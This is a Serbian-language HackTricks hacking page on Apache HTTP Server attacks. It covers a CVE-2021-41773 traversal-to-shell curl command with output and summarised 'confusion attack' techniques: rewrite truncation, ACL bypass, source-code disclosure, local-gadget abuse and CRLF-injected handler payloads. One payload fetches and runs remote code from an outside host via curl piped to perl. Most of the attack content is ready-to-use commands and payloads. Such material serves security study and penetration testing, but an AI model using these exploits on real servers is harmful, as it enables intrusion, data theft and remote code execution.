14 KiB
Apache
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Izvršne PHP ekstenzije
Proverite koje ekstenzije izvršava Apache server. Da biste ih pretražili, možete izvršiti:
grep -R -B1 "httpd-php" /etc/apache2
Takođe, neka mesta gde možete pronaći ovu konfiguraciju su:
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
CVE-2021-41773
{% code overflow="wrap" %}
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
{% endcode %}
Confusion Attack
Ove vrste napada su predstavljene i dokumentovane od strane Orange u ovom blog postu i sledeći je sažetak. Napad "confusion" u suštini zloupotrebljava način na koji desetine modula koji rade zajedno na kreiranju Apache-a ne rade savršeno sinkronizovano, a modifikacija nekih od njih može izazvati ranjivost u kasnijem modulu.
Filename Confusion
Truncation
mod_rewrite
će skratiti sadržaj r->filename
nakon karaktera ?
(modules/mappers/mod_rewrite.c#L4141). Ovo nije potpuno pogrešno jer će većina modula tretirati r->filename
kao URL. Međutim, u drugim prilikama ovo će biti tretirano kao putanja do fajla, što bi moglo izazvati problem.
- Path Truncation
Moguće je zloupotrebiti mod_rewrite
kao u sledećem primeru pravila da bi se pristupilo drugim fajlovima unutar fajl sistema, uklanjajući poslednji deo očekivane putanje jednostavno dodajući ?
:
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
- Zavaravajuća dodela RewriteFlag
U sledećem pravilu preusmeravanja, sve dok URL završava sa .php, biće tretiran i izvršen kao php. Stoga, moguće je poslati URL koji se završava sa .php nakon ?
karaktera dok se u putanji učitava drugačija vrsta datoteke (poput slike) sa zloćudnim php kodom unutar nje:
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>
# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
ACL Bypass
Moguće je pristupiti datotekama kojima korisnik ne bi trebao imati pristup, čak i ako bi pristup trebao biti odbijen sa konfiguracijama kao što su:
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
Ovo je zato što će PHP-FPM po defaultu primati URL-ove koji se završavaju sa .php
, kao što je http://server/admin.php%3Fooo.php
, i zato što će PHP-FPM ukloniti sve nakon karaktera ?
, prethodni URL će omogućiti učitavanje /admin.php
čak i ako je prethodno pravilo to zabranilo.
DocumentRoot Confusion
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
Zanimljiva činjenica o Apache-u je da prethodni prepravak pokušava da pristupi datoteci i iz documentRoot-a i iz root-a. Dakle, zahtev za https://server/abouth.html
će proveriti datoteku u /var/www/html/about.html
i /about.html
u datotečnom sistemu. Što se u suštini može zloupotrebiti za pristup datotekama u datotečnom sistemu.
Otkrivanje Izvora Koda na Serveru
- Otkrivanje CGI Izvora Koda
Samo dodavanje %3F na kraju je dovoljno da se otkrije izvorni kod cgi modula:
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
- Otkrivanje PHP Izvornog Koda
Ako server ima različite domene, pri čemu je jedna od njih statična domena, to se može iskoristiti za pretraživanje datotečnog sistema i otkrivanje php koda:
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
Manipulacija lokalnim uređajima
Glavni problem sa prethodnim napadom je to što će po defaultu većina pristupa preko datotečnog sistema biti odbijena kao u konfiguracionom šablonu Apache HTTP Server-a:
<Directory />
AllowOverride None
Require all denied
</Directory>
Međutim, Debian/Ubuntu operativni sistemi po defaultu dozvoljavaju /usr/share
:
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
Zato, bilo bi moguće zloupotrebiti datoteke smeštene unutar /usr/share
u ovim distribucijama.
Lokalni Gadget za Otkriće Informacija
- Apache HTTP Server sa websocketd može izložiti dump-env.php skriptu na /usr/share/doc/websocketd/examples/php/, koja može otkriti osetljive promenljive okruženja.
- Serveri sa Nginx ili Jetty mogu izložiti osetljive informacije o web aplikacijama (npr., web.xml) kroz svoje podrazumevane web korene smeštene pod /usr/share:
- /usr/share/nginx/html/
- /usr/share/jetty9/etc/
- /usr/share/jetty9/webapps/
Lokalni Gadget za XSS
- Na Ubuntu Desktop-u sa instaliranim LibreOffice, iskorišćavanje funkcije promene jezika u pomoćnim datotekama može dovesti do Cross-Site Scripting (XSS). Manipulacija URL-om na /usr/share/libreoffice/help/help.html može preusmeriti na zlonamerne stranice ili starije verzije putem unsafe RewriteRule.
Lokalni Gadget za LFI
- Ako su instalirani PHP ili određeni front-end paketi poput JpGraph ili jQuery-jFeed, njihove datoteke mogu biti iskorišćene za čitanje osetljivih datoteka kao što je /etc/passwd:
- /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
- /usr/share/javascript/jquery-jfeed/proxy.php
- /usr/share/moodle/mod/assignment/type/wims/getcsv.php
Lokalni Gadget za SSRF
- Korišćenjem MagpieRSS's magpie_debug.php na /usr/share/php/magpierss/scripts/magpie_debug.php, može se lako stvoriti SSRF ranjivost, pružajući prolaz za dalja iskorišćavanja.
Lokalni Gadget za RCE
- Mogućnosti za Remote Code Execution (RCE) su velike, sa ranjivim instalacijama poput zastare PHPUnit ili phpLiteAdmin. Ove se mogu iskoristiti za izvršavanje proizvoljnog koda, pokazujući opsežan potencijal manipulacije lokalnim gadgetima.
Jailbreak iz Lokalnih Gadgeta
Takođe je moguće jailbreak-ovati iz dozvoljenih foldera prateći symlinkove generisane instaliranim softverom u tim folderima, kao što su:
- Cacti Log:
/usr/share/cacti/site/
->/var/log/cacti/
- Solr Data:
/usr/share/solr/data/
->/var/lib/solr/data
- Solr Config:
/usr/share/solr/conf/
->/etc/solr/conf/
- MediaWiki Config:
/usr/share/mediawiki/config/
->/var/lib/mediawiki/config/
- SimpleSAMLphp Config:
/usr/share/simplesamlphp/config/
->/etc/simplesamlphp/
Pored toga, zloupotrebom symlinkova bilo je moguće dobiti RCE u Redmine-u.
Confuzija Handler-a
Ovaj napad koristi preklapanje funkcionalnosti između AddHandler
i AddType
direktiva, koje se obe mogu koristiti za omogućavanje PHP obrade. Prvobitno, ove direktive su uticale na različita polja (r->handler
i r->content_type
respektivno) u unutrašnjoj strukturi servera. Međutim, zbog nasleđenog koda, Apache obrađuje ove direktive naizmenično pod određenim uslovima, pretvarajući r->content_type
u r->handler
ako je prvi postavljen, a drugi nije.
Pored toga, u Apache HTTP Server-u (server/config.c#L420
), ako je r->handler
prazan pre izvršavanja ap_run_handler()
, server koristi r->content_type
kao handler, efektivno čineći AddType
i AddHandler
identičnim u efektu.
Prepisivanje Handler-a za Otkriće PHP Izvornog Koda
U ovoj prezentaciji, predstavljena je ranjivost gde netačan Content-Length
poslat od strane klijenta može uzrokovati da Apache greškom vrati PHP izvorni kod. To je bilo zbog problema sa obradom grešaka sa ModSecurity i Apache Portable Runtime (APR), gde dvostruki odgovor dovodi do prepisivanja r->content_type
na text/html
.
Zato što ModSecurity ne obrađuje pravilno povratne vrednosti, vraća PHP kod i ne interpretira ga.
Prepisivanje Handler-a za XXXX
TODO: Orange još nije otkrio ovu ranjivost
Pozivanje Proizvoljnih Handler-a
Ako napadač može da kontroliše Content-Type
zaglavlje u odgovoru servera, moći će da pozove proizvoljne module handler-a. Međutim, do trenutka kada napadač kontroliše ovo, većina procesa zahteva će biti završena. Ipak, moguće je ponovo pokrenuti proces zahteva zloupotrebom Location
zaglavlja jer ako je returned Status
200 i Location
zaglavlje počinje sa /
, odgovor se tretira kao Server-Side Redirection i treba ga obraditi.
Prema RFC 3875 (specifikacija o CGI) u Sekciji 6.2.2 definiše se ponašanje lokalnog preusmeravanja odgovora:
CGI skripta može vratiti URI putanju i upitni niz (‘local-pathquery’) za lokalni resurs u zaglavlju Location. Ovo ukazuje serveru da treba ponovo obraditi zahtev koristeći specificiranu putanju.
Zato, za izvođenje ovog napada potrebna je jedna od sledećih ranjivosti:
- CRLF Injection u CGI odgovorima zaglavlja
- SSRF sa potpunom kontrolom nad odgovorima zaglavlja
Proizvoljni Handler za Otkriće Informacija
Na primer, /server-status
bi trebao biti dostupan samo lokalno:
<Location /server-status>
SetHandler server-status
Require local
</Location>
Moguće je pristupiti tome postavljanjem Content-Type
na server-status
i zaglavlja Location koje počinje sa /
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
Arbitrarni Handler za Potpun SSRF
Preusmeravanje na mod_proxy
za pristup bilo kojem protokolu na bilo kojoj URL adresi:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
Međutim, X-Forwarded-For
zaglavlje je dodato kako bi se sprečio pristup krajnjim tačkama metapodataka u oblaku.
Arbitrarni Handler za Pristup Lokalnom Unix Domen Socketu
Pristupite lokalnom Unix Domen Socketu PHP-FPM-a da biste izvršili PHP backdoor smešten u /tmp/
:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
Arbitrarni Handler za RCE
Službeni PHP Docker imidž uključuje PEAR (Pearcmd.php
), alat za upravljanje PHP paketima putem komandne linije, koji se može zloupotrebiti za dobijanje RCE:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Check Docker PHP LFI Summary, written by Phith0n for the details of this technique.
References
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.